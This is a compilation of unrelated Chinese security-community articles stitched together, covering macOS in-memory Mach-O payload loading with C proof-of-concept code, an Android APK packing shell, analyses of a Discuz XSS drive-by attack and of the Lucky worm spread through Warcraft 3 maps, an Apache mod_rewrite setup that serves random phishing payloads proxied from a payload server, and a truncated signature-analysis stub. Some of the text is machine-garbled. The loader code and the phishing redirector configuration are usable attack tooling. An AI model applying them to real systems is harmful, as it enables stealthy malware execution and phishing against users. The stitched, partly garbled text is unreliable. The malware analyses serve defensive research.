本文是翻译文章，文章来源：blog.cylance.com
原文地址：<https://blog.cylance.com/running-executables-on-macos-from-memory>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：150RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
作为一名安全研究员，我一直在研究恶意软件攻击设备时使用到的新兴技术。虽然Windows是最常见的目标，但是对于macOS（以前称为OS
X），并不缺乏新兴的技术。在这篇文章中，我将讨论一些在macOS（直到Sierra）上执行多级攻击载荷的技术。
用于执行多级攻击载荷的常见技术是拥有一个可以从内存中载入可执行文件而不是从计算硬盘上载入的初始攻击载荷，它可以降低被检测的风险。一般来说，当尝试从macOS的内存中加载代码时，第一步是找到动态加载器dyld，以便于加载第二级攻击载荷。一旦你在内存中找到dyld，你可以解析它的Mach-O头来定位函数NSCreateObjectFileImageFromMemory（创建一个NSObjectFileImage）和NSLinkModule（链接库到当前进程和运行构造函数）来加载可执行文件。
**深入了解dyld**
你在MacOS执行一个动态链接的二进制文件时，内核会做的第一件事就是从二进制Mach-O的加载命令中检索动态加载器的位置，并加载它。因此，dyld是第一个被加载到进程的地址空间的Mach-O。内核通过二进制文件的vmaddr和ASLR
slide来确定dyld的候选地址。然后内核将Mach-O的sections映射到第一个可用未分配的内存地址中，内存地址要大于或等于到候选地址。
如下所示，在Sierra之前的macOS版本中，dyld的vmaddr是0x7fff5fc00000（DYLD_BASE）：
MacOS的10.10.5（Yosemite）
$ otool -l /usr/lib/dyldx
/usr/lib/dyld:
Load command 0
cmd LC_SEGMENT_64
cmdsize 552
segname __TEXT
vmaddr 0x00007fff5fc00000
...
在内存中定位dyld是很容易的; 从DYLD_BASE开始搜索,找到的第一个Mach-O映像就是dyld。然后可以通过内存中的dyld地址减去DYLD_BASE来计算用于dyld的ASLR slide。确定ASLR
slide对于解析符号很重要，因为符号表的nlist_64结构中的n_value包含需要被偏移的基地址。
在Sierra中,dyld变成了动态映射（vmaddr为0）：
macOS 10.12.2 (Sierra)
$ otool -l /usr/lib/dyld
/usr/lib/dyld:
Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
0xfeedfacf 16777223 3 0x00 7 14 1696 0x00000085
Load command 0
cmd LC_SEGMENT_64
cmdsize 552
segname __TEXT
vmaddr 0x0000000000000000
...
这意味着,现在,在内存中已加载的可执行映像相邻处可以找到dyld，而不是DYLD_BASE中的第一个Mach-O映像。因为没有固定的基地址，我们现在不能再轻松计算ASLR
slide。幸运的是，我们不再关心这个值，因为符号表的nlist_64结构的n_value现在包含了从dyld开始的偏移;
一旦你在内存中找到dyld的地址，你可以解析它的符号。我们将在下面的解析符号部分详细讨论这一点。
**dyld在内存中的位置**
那么我们如何在内存中搜索dyld呢？在地址空间中搜索特定映像的正确方法是递归地使用vm_region。然而，通过这种方法产生的shellcode是冗长和繁琐的。幸运的是，有一个选择;
如果我们发现一个系统调用，它接受一个指针并根据地址是否被映射返回不同的返回值，我们可以使用它。chmod系统调用就是这样。
如果路径指针在进程分配的地址空间的之外,chmod返回EFAULT; 如果路径不存在，则返回ENOENT。因此，我们可以使用以下函数来找到dyld：
int find_macho(unsigned long addr, unsigned long *base) {
*base = 0;
while(1) {
chmod((char *)addr, 0777);
if(errno == 2 && /*ENOENT*/
((int *)addr)[0] == 0xfeedfacf /*MH_MAGIC_64*/) {
*base = addr;
return 0;
}
addr += 0x1000;
}
return 1;
}
在Sierra之前的macOS版本中，可以这样做：
unsigned long dyld;
if(find_macho(DYLD_START, &dyld)) return
在Sierra，我们必须调用find_macho两次：一次找到已加载的二进制，一次找到dyld：
unsigned long binary, dyld;
if(find_macho(EXECUTABLE_BASE_ADDR, &binary)) return 1;
if(find_macho(binary + 0x1000, &dyld)) return 1;
**解析符号**
找到dyld的字符串表可以通过解析其加载命令，并使用以下代码（基址是内存中的dyld地址）查找符号表以及内存中的linkedit和text segments
来完成：
lc = (struct load_command *)(base + sizeof(struct mach_header_64));
for(int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
if(lc->cmd == 0x2/*LC_SYMTAB*/) {
symtab = (struct symtab_command *)lc;
} else if(lc->cmd == 0x19/*LC_SEGMENT_64*/) {
switch(*((unsigned int *)&sc->segname[2])) { //skip __
case 0x4b4e494c: //LINK
linkedit = (struct segment_command_64 *)lc;
break;
case 0x54584554: //TEXT
text = (struct segment_command_64 *)lc;
break;
}
}
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
}
上面的代码略过内存中的mach_header_64结构，然后遍历各种加载命令结构。我们保存LC_SYMTAB的地址和与__LINKEDIT和__TEXT段相关的两个LC_SEGMENT_64命令。使用指向这些结构体的指针，我们现在可以计算内存中的字符串表的地址：
unsigned long file_slide = linkedit-> vmaddr - text-> vmaddr - linkedit-> fileoff;
strtab =（char *）（base + file_slide + symtab-> stroff）;
要遍历字符串表，我们需要遍历符号表的nlist_64结构。每个nlist_64结构体包含一个到字符串表（n_un.n_strx）的偏移量：
char * name = strtab + nl [i] .n_un.n_strx;
并不是使用传统的哈希算法来匹配字符串表中的符号名，我写了一个帮助脚本（symbolyzer.py）生成唯一offset/ int对，通过以下方式识别：
$ nm / usr / lib / dyld | cut -d“”-f3 | 排序| uniq | 蟒蛇symbolyzer.py
$ nm /usr/lib/dyld | cut -d" " -f3 | sort | uniq | python symbolyzer.py
...
_NSCreateObjectFileImageFromFile[25] = 0x466d6f72
...
symbolyzer.py的代码（<https://github.com/CylanceVulnResearch/osx_runbin/blob/master/symbolyzer.py>）可以在GitHub上找到这里。
正如你可以看到，NSCreateFileImageFromMemory的offset /
int对是25＆0x466d6f72。这意味着如果我们字符串表中的给定字符串索引为25，并且它等于0x466d6f72，则我们发现了一个匹配。在我们的匹配对中包含一个逻辑终止符NULL就可以匹配所有符号字符串。
**加载可执行文件**
在MacOS的内存中加载代码的最常见的方法就是在macOS
bundle上调用NSCreateObjectFileImageFromMemory,随后调用NSLinkModule,然后调用NSAddressOfSymbol来查找已知函数。
“The Mac Hacker's Handbook”中为NSLinkModule指出：“目前的实现仅限用于插件的Mach-O MH_BUNDLE类型。”
dyld的头文件进一步说明“NSObjectFileImage只能用于MH_BUNDLE文件”。经过快速证实,这是真的;
如果文件类型的mach_header_64结构不是MH_BUNDLE（0x8），NSCreateObjectFileImageFromMemory会失败。幸运的是，使用以下两行代码可以很容易改变结构的文件类型：
int type = ((int *)binbuf)[3];
if(type != 0x8) ((int *)binbuf)[3] = 0x8; //change to mh_bundle type
然后我们可以在Mach-O映象内解析NSLinkModule返回的NSModule对象来找到入口点; 在Sierra中，Mach-O映象从偏移0x48变为0x50。通过迭代该映像的加载命令，我们可以找到LC_MAIN命令并获取入口点的偏移量。只需将此偏移量添加到Mach-O基址中即可得到入口点：
unsigned long execute_base = *(unsigned long *)((unsigned long)nm + 0x50);
struct entry_point_command *epc;
if(find_epc(execute_base, &epc)) { //loops over commands and finds LC_MAIN
fprintf(stderr, "Could not find entry point command.n");
goto err;
}
int(*main)(int, char**, char**, char**) = (int(*)(int, char**, char**, char**))(execute_base+ epc->entryoff);
char *argv[]={"test", NULL};
int argc = 1;
char *env[] = {NULL};
char *apple[] = {NULL};
return main(argc, argv, env, apple);
这篇文章的所有的POC代码（[https://github.com/CylanceVulnResearch/osx_runbin](https://github.com/CylanceVulnResearch/osx_runbin)）都可以在GitHub上找到。
**引用**
1\. <http://phrack.org/issues/64/11.html>
2\. <http://www.blackhat.com/presentations/bh-dc-09/Iozzo/BlackHat-DC-09-Iozzo-let-your-mach0-fly-whitepaper.pdf>
3\. <https://lowlevelbits.org/parsing-mach-o-files/>
4\. <https://www.mikeash.com/pyblog/friday-qa-2012-11-09-dyld-dynamic-linking-on-os-x.html>
5\.
<https://opensource.apple.com/source/xnu/xnu-2782.1.97/bsd/kern/kern_exec.c>
6\.
<https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man2/chmod.2.html>
7\. <https://www.amazon.com/Mac-Hackers-Handbook-Charlie-Miller/dp/0470395362>
8\.
<https://opensource.apple.com/source/cctools/cctools-384.1/man/NSModule.3.auto.html> | 社区文章 |
[TOC]
# 加固原理
利用加密算法将原始APK文件加密保护起来，然后将加密后的数据附加到壳尾部或其他地方，当运行起来的时候，壳会把动态解密加载起来。
# 加固流程
1. 编写解密并加载原始APK的壳App，生成对应的壳Dex
2. 加密原始APK/DEX文件，写入到壳Dex尾部或者存放到其他目录下
3. 修改壳Dex相应字段和被加固App的AndroidManifest.xml文件添加Application组件从壳App启动
4. 删除签名文件、替换dex文件、添加so文件等
## 壳App
1.解密出Dex/APK/JAR文件（为了简单化，这里暂时不用加密）
2.替换dexclassloader对象
3.执行原始APK的Application类
package com.stub;
import android.app.Application;
import android.app.Instrumentation;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.util.Log;
import com.stub.utils.FileUtils;
import com.stub.utils.RefInvoke;
import java.io.File;
import java.lang.ref.WeakReference;
import java.util.List;
import java.util.Map;
import dalvik.system.DexClassLoader;
public class shell extends Application {
private Application mApp = this;
private File LIBS;
private static final String DEFAULT_APPLICATION = "android.app.Application";
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
/*1. 获取原始Dex文件，这里手动将classes.dex传到app-libs目录下*/
LIBS = mApp.getDir("libs", Context.MODE_PRIVATE);
StringBuffer dexPathList = new StringBuffer();
dexPathList.append(LIBS);
dexPathList.append("/");
dexPathList.append("classes.dex");
System.out.printf("load classes.dex in %s", dexPathList);
Log.i("shell", "load classes.dex in " + dexPathList);
/* 2. 加载Dex文件*/
String classActivityThread = "android.app.ActivityThread";
String classLoadedApk = "android.app.LoadedApk";
DexClassLoader loader;
File nativeLib = new File(FileUtils.getParent(LIBS), "lib");
Object activityThread = RefInvoke.invokeStaticMethod(classActivityThread, "currentActivityThread", new Class[]{}, new Object[]{});
String packageName = this.getPackageName();//当前apk的包名
Map<?,?> mPackage = (Map<?,?>)RefInvoke.getField(activityThread, classActivityThread, "mPackages");
WeakReference<?> wr = (WeakReference<?>) mPackage.get(packageName);
loader = new DexClassLoader(dexPathList.toString(), mApp.getCacheDir().getAbsolutePath(), nativeLib.getAbsolutePath(), (ClassLoader) RefInvoke.getField(wr.get(), "android.app.LoadedApk", "mClassLoader"));
RefInvoke.setField(wr.get(), classLoadedApk, "mClassLoader", loader);
/* 2. 执行application*/
String main = "com.scoreloop.games.gearedub.GearApplication";
String applicationName = main;
//ActivityThread.currentActivityThread().mBoundApplication.info.mApplication = null;
Object currentActivityThread = RefInvoke.invokeStaticMethod(classActivityThread, "currentActivityThread", new Class[]{}, new Object[]{});
Object mBoundApplication = RefInvoke.getField(currentActivityThread, classActivityThread, "mBoundApplication");
Object loadedApkInfo = RefInvoke.getField(mBoundApplication, classActivityThread+"$AppBindData", "info");
RefInvoke.setField(loadedApkInfo, classLoadedApk, "mApplication", null);
//currentActivityThread.mAllApplications.remove(currentActivityThread.mInitialApplication)
Object mInitApplication = RefInvoke.getField(currentActivityThread, classActivityThread, "mInitialApplication");
List<Application> mAllApplications = (List<Application>) RefInvoke.getField(currentActivityThread, classActivityThread, "mAllApplications");
mAllApplications.remove(mInitApplication);
//(LoadedApk) loadedApkInfo.mApplicationInfo.className = applicationName
((ApplicationInfo) RefInvoke.getField(loadedApkInfo, classLoadedApk, "mApplicationInfo")).className = applicationName;
//(ActivityThread$AppBindData) mBoundApplication.appInfo.className = applicationName
((ApplicationInfo) RefInvoke.getField(mBoundApplication, classActivityThread+"$AppBindData", "appInfo")).className = applicationName;
//currentActivityThread.mInitApplication = loadedApkInfo.makeApplication(false, null)
Application makeApplication = (Application) RefInvoke.invokeMethod(loadedApkInfo, classLoadedApk, "makeApplication", new Class[]{boolean.class, Instrumentation.class}, new Object[]{false, null});
RefInvoke.setField(currentActivityThread, classActivityThread, "mInitialApplication", makeApplication);
//currentActivityThread.mProviderMap
Map<?,?> mProviderMap = (Map<?,?>) RefInvoke.getField(currentActivityThread, classActivityThread, "mProviderMap");
for (Map.Entry<?, ?> entry : mProviderMap.entrySet()) {
Object providerClientRecord = entry.getValue();
Object mLocalProvider = RefInvoke.getField(providerClientRecord, classActivityThread+"$ProviderClientRecord", "mLocalProvider");
RefInvoke.setField(mLocalProvider, "android.content.ContentProvider", "mContext", makeApplication);
}
makeApplication.onCreate();
}
}
## 加密Dex文件
这里为了方便起见，不进行加密操作，直接将原始dex文件手动上传到/data/data/<packagename>/app-libs目录下等待壳App进行加载</packagename>
## 修改AndroidManifest.xml文件
1.使用apktool将原始apk进行反编译
2.修改Manifest文件中的application组件的android:name属性值为壳App的application
3.重打包、签名
<application android:description="@string/app_description" android:icon="@drawable/icon" android:label="@string/app_label" android:name="com.stub.shell" android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen">
## 结果
加固成功，应用正常打开执行
# 参考
【1】 github加壳开源项目：<https://github.com/kavmors/ApkSheller>
【2】
CSDN加壳原理：<https://blog.csdn.net/jiangwei0910410003/article/details/48415225>
【3】 详细加壳步骤<https://github.com/Herrrb/DexShell> | 社区文章 |
# 【技术分享】利用Discuz e2dk地址XSS挂马分析报告（针对某专业军事论坛）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
1月11日，360安全卫士云安全系统检测到国内知名军事论坛“军号网”上出现可疑的挂马行为，随即进行追踪分析。经过进一步确认，发现这是一次攻击范围很小、时间短暂，而且被攻击者迅速清理现场的挂马，很可能是有明确目标的针对性攻击事件。
攻击者使用改造升级版的BlackHole
EK挂马工具包（BlackHole作者早在2013年已被逮捕），结合论坛的XSS漏洞进行挂马，相比普通黑产具有更高的技术水平。
**论坛挂马手段**
这次挂马点比较隐蔽，经过反复检查后确认是利用论坛的漏洞插入了挂马页面。该漏洞是Discuz论坛针对ed2k协议解析时的一个XSS漏洞[2]，在解析过程论坛会自动对e2dk链接中的文件大小进行识别并直接输出，并且未进行过滤，导致出现了一个存储型XSS。攻击者利用该漏洞插入了恶意js脚本代码，调用document.write函数向页面中插入挂马iframe页面和恶意js脚本。
图1 攻击者发帖
图2 插入的XSS代码
**挂马页面分析**
攻击者在帖子中插入了两类代码，其中第一类仅在其发表的第一个帖子中存在，该脚本是从网上的获取cookie代码修改而来，怀疑也是类似获取用户访问的信息，但是可能编写有问题，并没有获取成功。
图3 获取信息的脚本内容
而在其他帖子中则插入的恶意挂马代码，利用js载入一个iframe，地址是hxxp://lynxlyragrus.com/aengewauhg/ball/nobody_grows-leaving-complained.php，注意这个网址采用了com域名，其他相关的url也有伪装模式。载入的页面是攻击包的着陆页面，该页面的代码加密特点是使用了-1来分割加密的字符串，具体的解密算法如下图所示
图4 着陆页面解密代码
解码后整体代码分成三部分，第一部分则是一个内容异常丰富的浏览器及各种插件版本判断方法，代码编写规范，相比其他常见的EK更加的工程化。第二部分是使用js对Java、Flash进行版本判断，并选择执行对应的挂马函数。
图5 版本判断代码
然后是最重要的第三部分，其主要功能是待执行的多个函数代码，分别为命名为f1、f2、f3、i1、i2、i3、p2、j1，通过调用这些函数，引入漏洞利用文件和js代码。这些函数也会在引入文件的同时向服务端传递动态生成的参数信息，以保证漏洞页面只能被一次性访问。
图6 引入攻击代码
其中f2函数则载入了一个Flash文件，该文件会通过RC4加密方法把实际的漏洞利用代码加密到BinaryData中，解开后根据代码确认是CVE-2015-8651。
图7 CVE-2015-8651代码
i1代码引入的js文件是被Base64编码过的，解开之后是CVE-2013-2551的漏洞利用代码，因为该漏洞时间较久，因此很少有攻击包会选择这个漏洞。
图8 CVE-2013-2551代码
**进一步分析**
复现挂马之后，我们对这个挂马页面进行了多次试探，试图发现更多信息。经过多次尝试，我们发现所有的页面访问都具备漏洞攻击包的常见安全措施，页面会对请求做一定的防范措施，使用错误的链接和过期的网址参数访问只会获得“Industry
is the parent of
success”的字符串。此外，我们还发现该漏洞针对不同浏览器版本会引入不同漏洞攻击函数，如图6所示的着陆页面漏洞攻击函数中有很多是空白直接返回的，但是使用IE9访问时i3函数出现了的具体攻击代码内容，而换用Chrome去访问，则能够获取函数f1和f3代码内容，根据函数命名猜测i1、i2、i3是ie的漏洞页面，f1、f2、f3是针对Flash的相关漏洞，p2则是pdf相关漏洞，j1则是java的漏洞。
但是因为挂马页面很快失效，未能够及时获取对Flash与其他攻击文件，即使这样我们根据着陆页面中相关插件软件的版本判断，结合以往常见漏洞的利用情况[3]，大致猜测该攻击包所利用的漏洞情况如表1所示。
表1 漏洞利用情况
根据着陆页面的代码风格与部分特殊函数命名，我们发现该攻击包是修改自以往的BlackHole Exploit Kit，BlackHole Exploit
Kit是前几年比较流行的攻击包，但是作者在2013年被逮捕，随后该攻击包不再更新并逐渐消失。这次的攻击代码显然是基于最后的BlackHole版本，代码与最后活跃版本的BlackHole基本一致[4]，并且更新了最新的相关漏洞，怀疑是有人在以往购买的BlackHole基础上进行修改并增加了最新的漏洞。
**载荷分析**
最后释放到本地的文件是一个基于Zeus Bot代码的新变种，我们根据它的配置信息把它命名为ff0bot木马。Zeus
Bot是有史以来最臭名昭著的网银木马之一，该木马的完整源代码曾被人泄露在互联网上，并被不断修改用于恶意攻击行为。
图9 木马配置信息
Ff0bot命令列表
图10 指令代码
其主要功能如下：
图11 窃取用户密码
图12 窃取证书私钥
图13 屏幕截图功能
图14 解密配置文件代码
**总结**
图15 攻击者发帖记录
这次挂马时间非常短暂，攻击者在1月10日凌晨第一次发布两个帖子，随后每隔1天就在凌晨继续发布回帖，总共才发了4条帖子，然后1月13日晚挂马页面失效，1月16晚攻击者删去所有攻击代码，并开始逐一删除相关回复帖子，至此销声匿迹仿佛什么也没有发生过。
相比我们以往监测到的挂马，这次挂马攻击范围比较小，攻击时间短暂并且注重隐蔽清理现场，利用的技术水平比常见的国内黑产更高，喜欢在现有成熟的攻击工具基础上进行改造升级。
最后，为了有效防范此类攻击，请大家及时更新系统补丁并及时升级常见软件，也希望各个论坛管理员能够及时更新论坛代码，减少用户遭受攻击风险。针对此类挂马攻击，360安全卫士也针对性的采用多层次防御体系进行有效阻止，保护用户电脑安全。
本文由360 QEX引擎团队和追日团队共同撰写。
**参考文献**
[1] 大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当
<http://bobao.360.cn/learning/detail/2872.html>
[2] Discuz! X 储存型XSS (X1 ~ X3.1最新版)
[https://web.archive.org/web/20150125060822/](https://web.archive.org/web/20150125060822/http://www.wooyun.org/bugs/wooyun-2014-051123)
[3] NeutrinoEK来袭：爱拍网遭敲诈者病毒挂马
<http://bobao.360.cn/news/detail/3302.html>
[4] 2014-05-23 – BLACKHOLE EK FROM 109.120.173.4 – BLACK1.WHA.LA
<http://malware-traffic-analysis.net/2014/05/23/index2.html> | 社区文章 |
本文中讲述的方法更适用于真实渗透测试环境中，因为电子邮件钓鱼往往是威胁到整个公司，而不是只威胁到红队的测试环境。因为电子邮件钓鱼具有高针对性，并且手动设置攻击载荷对攻击来说也是很麻烦的。所以请阅读这篇文章，我会通过设置一个apache重定向器或者直接设置一个服务器，通过RewrieMap从预定义的攻击payload列表中随机选取payload进行提供。
apache中RewriteMap方法允许外部的程序比如脚本，数据库，文本文件等映射到服务器内部。在官方文档中使用最多的例子：如果一家网店的url结构想从item-1234到iphone-7-white，那么网站管理员无需更改任何硬编码的代码，只需当访问item-1234时，apache来提供iphone-7-white这一url。RewriteMap提供了大量修改这些资源的方法。我们会使用RewriteMap从一个文本文档中提取的payload转换为URI，并且当被访问时，进行302跳转，使目标能够访问到我们随机的payload文件。
下图就是攻击的主要内容：
## 环境配置
apache环境需要更改一些设置以便服务器环境支持mod_rewrite以及RewriteMap方法。这些设置的详细信息都在我之前的[一篇文章](https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-user-redirection/)中写过。长话短说，打开位于/etc/apache2/的apache2.conf文件，通过增加以下代码重写htaccess文件：
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
如果你的重定向器的网站根目录不是默认的/var/www,你需要去更改一下AllowOverride的响应目录。
在配置服务器的文档中，我们需要在底部添加：
RewriteMap payloads "rnd:/var/www/payloads.txt"
这一行代码就告诉mod_rewrite方法，当我们使用RewriteMap调用payload变量时，就会从/var/www/payloads.txt提取。apache用户必须具有读取这一文件的权限。并且应该储存在web根目录之外，比如在这个例子中，就是在/var/www/html目录之外。
创建/var/www/payloads.txt文件，并且在文件中写入如下内容：
`windows payload.lnk|payload.hta|payload.exe`
上述代码中windows就是触发的key，以及payload.link,payload.hta,payload.exe则是变量。当RewriteMap函数被调用时，此时就会提供windows这个Key,然后通过管道符号分割的变量就会随机选取一个。我们可以增加多次payload名字，以便它可以更大概率的输出。这个文件可以立即更新，所以修改这个文件之后无需重启apache服务。如果你确定有的payload不起作用了，你完全可以在payload.txt中删除。
通过以下命令开启依赖的mod_rewrite模块，重启apache服务。
a2enmod rewrite proxy proxy_http && service apache2 restart
启动的最后一步就是创建htaccess文件，比如在/var/www/html/.htaccess文件写入如下内容：
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/payload/?$
RewriteRule ^.*$ /${payloads:windows} [L,R=302]
RewriteCond %{REQUEST_URI} ^/payload.(exe|lnk|hta)
RewriteRule ^.*$ http://192.168.188.134%{REQUEST_URI} [P]
以下是规则的详细划分：Enable the rewrite engine
If the request’s URI starts with ‘payload’ with an optional trailing slash at the end of the URI,
rewrite the entire request to a random value pulled from the RewriteMap file linked to "payloads" with the key "windows" This is a temporary redirect and the last rule that should be evaluated/applied to the request.
If the request’s URI starts with ‘payload’ and ends with the file extension exe, lnk, or hta,
rewrite the entire request to serve the request URI from IP 192.168.188.134 (the payload server IP), and keep the user's address bar the same (obscure the teamserver's IP).
现在，服务端已经完全配置好了。
当用户连续两次访问<http://spoofdomain.com/payload时，第一次会提供可执行文件，第二次会提供html> 应用程序(HTA)。
## 总结
Apache
mod_rewrite为渗透测试人员以及红队提供了丰富的选择，这一方法加强了他们的攻击范围以及钓鱼攻击的成功率。这个技术可以和别的技术结合起来，会获得更大的效果。用户点击后可以尽可能的收集更多的信息。
文章翻译自<https://bluescreenofjeff.com/2017-06-13-serving-random-payloads-with-apache-mod_rewrite/，如若转载，请注明原文地址： http://www.4hou.com/technology/5399.html> | 社区文章 |
# 部分魔兽争霸地图被Lucky勒索软件感染
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
刚刚过去的“五一”小长假里，各大景区“汹涌”的人山人海，想必让很多选择留在家中打游戏的玩家都庆幸自己躲过了一劫。不过，游戏世界里却也未必安宁，就在五一节前，360安全大脑拦截并查杀了一款通过《魔兽争霸3》游戏地图进行传播的新型蠕虫病毒，玩家一旦在游戏平台中选择了带有该蠕虫的地图，蠕虫就会感染玩家的计算机。
## 魔兽争霸地图或均受牵连
特别需要注意的是，面对该蠕虫病毒的威胁，广大玩家可别低估病毒的传染能力。根据360安全大脑追踪发现，该蠕虫在入侵得手后，会进一步感染玩家魔兽争霸中的其它正常游戏地图。这就意味着，若你的小伙伴中毒不自知，还邀你组局开黑，当你进入了游戏房间，你的地图也会随之中招。因此如若不及时查杀，病毒可能在最短时间内造成大面积感染。
经过360安全大脑的深度溯源分析，发现蠕虫作者使用的C&C域名带有lucky2048字样，故将此蠕虫病毒命名为“Lucky蠕虫”。360安全大脑在监测到这一新型病毒后，已第一时间实现了全面查杀，因此“Lucky蠕虫”的活跃度在五一节假日这一用户玩游戏的高峰时段就有了非常明显地跌落。
所以，对于安装有360安全卫士（拥有360安全大脑的支持）的电脑用户而言，即便玩了《魔兽争霸3》，也不必担心电脑会受到“Lucky蠕虫”的入侵。
Lucky蠕虫整体工作流程
## 解刨“蠕虫”母体 全面分析攻击原理
某个被感染的“Green
Circle塔防三国”地图结构如下，其中主脚本“war3map.j”被插入一句代码以触发执行嵌入的脚本“initrb”（“File00000028.xxx”），该脚本即为被利用的魔兽地图漏洞攻击代码，主要功能是释放并执行lucky蠕虫模块“MX.txt”（“File00000029.exe”，实际上是个DLL程序）。
脚本“war3map.j”在主函数末尾插入了一句调用代码，用来执行“initrb”漏洞代码：
“initrb”漏洞攻击代码其实早在去年就有人公开披露过，只不过现在被不法分子用来传播蠕虫病毒获取“肉鸡”（参考：“hxxps://www.52pojie.cn/thread-718808-1-1.html”）。该代码主要利用了脚本变量的类型转换漏洞实现了任意内存读写，进而劫持魔兽争霸3主程序去加载运行蠕虫模块“MX.txt”。
此漏洞形成的原因是当脚本中的全局变量和局部变量同名时，会将全局变量转成局部变量，从而造成全局变量的引用指针发生了意外转换。如下全局整型数组变量“Memory”在某过程函数中被重新定义成了一个局部的整型变量，导致全局变量“Memory”地址变成0，从而可以索引进程空间所有的内存地址范围，进而用来实现任意内存读写。
该漏洞影响了《魔兽争霸3》的多个历史版本，攻击代码中对此也做了相应的兼容性检测。
蠕虫模块“MX.txt”是一个加了VMP强壳保护的DLL程序，被《魔兽争霸3》游戏进程加载运行后，主要的工作流程分成3个部分，分别是感染正常的魔兽地图、安装持久化后门和远程控制。
### 1、感染地图
该蠕虫在感染用户正常地图时首先释放魔兽“MPQ”格式的API库文件“SFmpq.dll”，使用该文件可以方便的操作“MPQ”格式的地图资源。
然后去《魔兽争霸3》安装路径的地图目录下寻找所有的“*.w3x”格式的地图，并使用MPQ库API来操作这些地图文件的内部脚本资源。
该类地图文件的主运行脚本为“war3map.j”，于是该蠕虫找到该脚本位置，准备往其中插入漏洞利用代码和蠕虫程序本身。
找到“war3map.j”的主函数尾位置，然后插入一行调用代码以执行真正的漏洞利用脚本“initrb”，接着将内置的“initrb”脚本添加到目标地图文件中，脚本代码与前述一致。
除了漏洞利用脚本外，还往目标地图中添加蠕虫病毒母体本身，进行自我复制。
### 2、安装持久化后门
此蠕虫病毒进行持久化主要是根据云控配置联网下载两张经过处理的图片，并进一步解密出后门模块安装到用户系统中潜伏。
云控配置的存放地址有3个（其中最后一个无法访问），首先连接“hxxp://umsdfyuwlp.tk”，该地址正常访问的时候应该是这样：
但是由于该蠕虫感染传播的速度太快，可能作者自己也没有想到，此服务器很快就负担不起上十万的访问请求了，于是该服务器的常态返回结果如下：
不过没关系，这个服务器处理不过来，病毒作者机智的准备了另外一个利用公共设施的服务地址“hxxps://lucky2048.github.io”，由于该地址使用的是Github专门为个人用户提供的博客服务器，自带了负载均衡，再也不必操心“肉鸡”一下收割太多的问题了。
获取了这些云控配置后，对其进行分割和解密，最终得到3个信息字段如下，包括一个ip地址和两个图片下载地址，其中后两个图片地址包含的是与本节持久化相关的模块，第一个ip地址在下面的远程控制功能使用。
当病毒检测到系统中的后门模块不存在时，就会下载对应的“1.gif”或者“2.gif”图片来进行安装。每张图片均在数据尾部附加了一个压缩过的PE文件，数据组织格式采用很常见的木马套路：“图片数据”+“0x033E0F0D”标志头+“压缩数据长度”+“zlib压缩数据”。
“1.gif”图片解压后得到的模块是一个伪装成“Windows Media
Player”的后门程序，经过分析发现，目前该模块的功能基本上和蠕虫病毒母体重合，只是少了其中感染魔兽地图的功能。如下可见该后门模块伪装成“Windows
Media Player”程序并设置了隐藏和自启动。
“2.gif”图片解压后得到的模块是该蠕虫母体本身，最终会拷贝一份到魔兽安装目录下为“war3*.flt”（*为随机字符），并且当检测到该目录不存在该flt文件时会重新安装。之所以命名为flt文件是因为《魔兽争霸3》主程序War3.exe在启动时会自动加载运行该目录下的“*.flt”插件模块。
另外蠕虫母体还会释放一个加载器“rundll*.exe”到魔兽安装目录下，该加载器的主要功能其实就仅仅是加载运行蠕虫母体本身，辅助其持久化地运行在用户系统中。
### 3、远程控制
从云控配置里解密出第一个字段数据，当前配置解密出的数据为字符串“999”，但经过分析该字段被当作一个ip地址来连接远程控制服务器，只不过目前此地址无效。
使用该ip地址加上固定的一个端口号“19730”，从而构造出远程控制服务器的connect地址结构体参数，但是由于ip地址“999”无效导致当前无法连接成功，不过作者可以随时更改Github上的配置来收割这些中招的“肉鸡”。
若成功上线，将进入异步的远控控制码处理流程，如下可见包含“1001”、“1002”等多个控制码处理过程。
经过调试分析后整理该远控的功能列表如下，发现是个非常精简的“迷你版”远控，或许该作者别有用心，只需要特定的几个控制功能。
本蠕虫病毒利用已知的游戏客户端漏洞进行大规模的传播后门木马，游戏用户可能在正常玩游戏过程中没有任何防备的情况下就不知不觉中招了，并且该病毒还会主动感染其他正常的游戏地图，进行主动的传播扩散，大大增加游戏用户互相感染的速度。中招后该病毒在用户机器上安装释放后门远控程序，然后等待时机成熟便可以通过修改放在公共设施Github上的配置来控制成千上万的“肉鸡”用户。
继WannaCry勒索病毒利用“永恒之蓝”漏洞核武器进行全球大范围爆发后，360安全大脑再次拦截了一款同样通过漏洞核武器进行大规模传播感染的“Lucky”蠕虫病毒。黑客利用已知的公开漏洞进行大规模的网络攻击早已成为新的安全常态，此次事件虽然在作者还未进行大规模收割“肉鸡”用户造成更大的危害之前就被360安全大脑成功拦截，但安全不可松懈，建议广大的网民及时前往“weishi.360.cn”，安装最新版本的360安全卫士，可以在用户游戏期间进行有效的防御和病毒查杀，全方位保护用户安全。
## IOCs | 社区文章 |
签名算法是指数字签名的算法。数字签名，就是只有信息的发送者才能产生的别人无法伪造的一段数字串，这段数字串同时也是对信息的发送者发送信息真实性的一个有效证明。数字签名是通过一个单向函数，对要传送的信息进行处理得到的用以认证信息来源，并核实信息在传送过程中是否发生变化的一个字母数字串。目前应用最为广泛的三种签名算法是：Rabin签名、DSS签名、RSA签名。
0x1 抓包分析
看样子是个md5加密
0x2 静态分析
直接定位sig到代码区域, 搜出来会有很多个sig,具体是哪一个只能自己分析, 看封包内容就很好分析出来
看到这里可以知道了
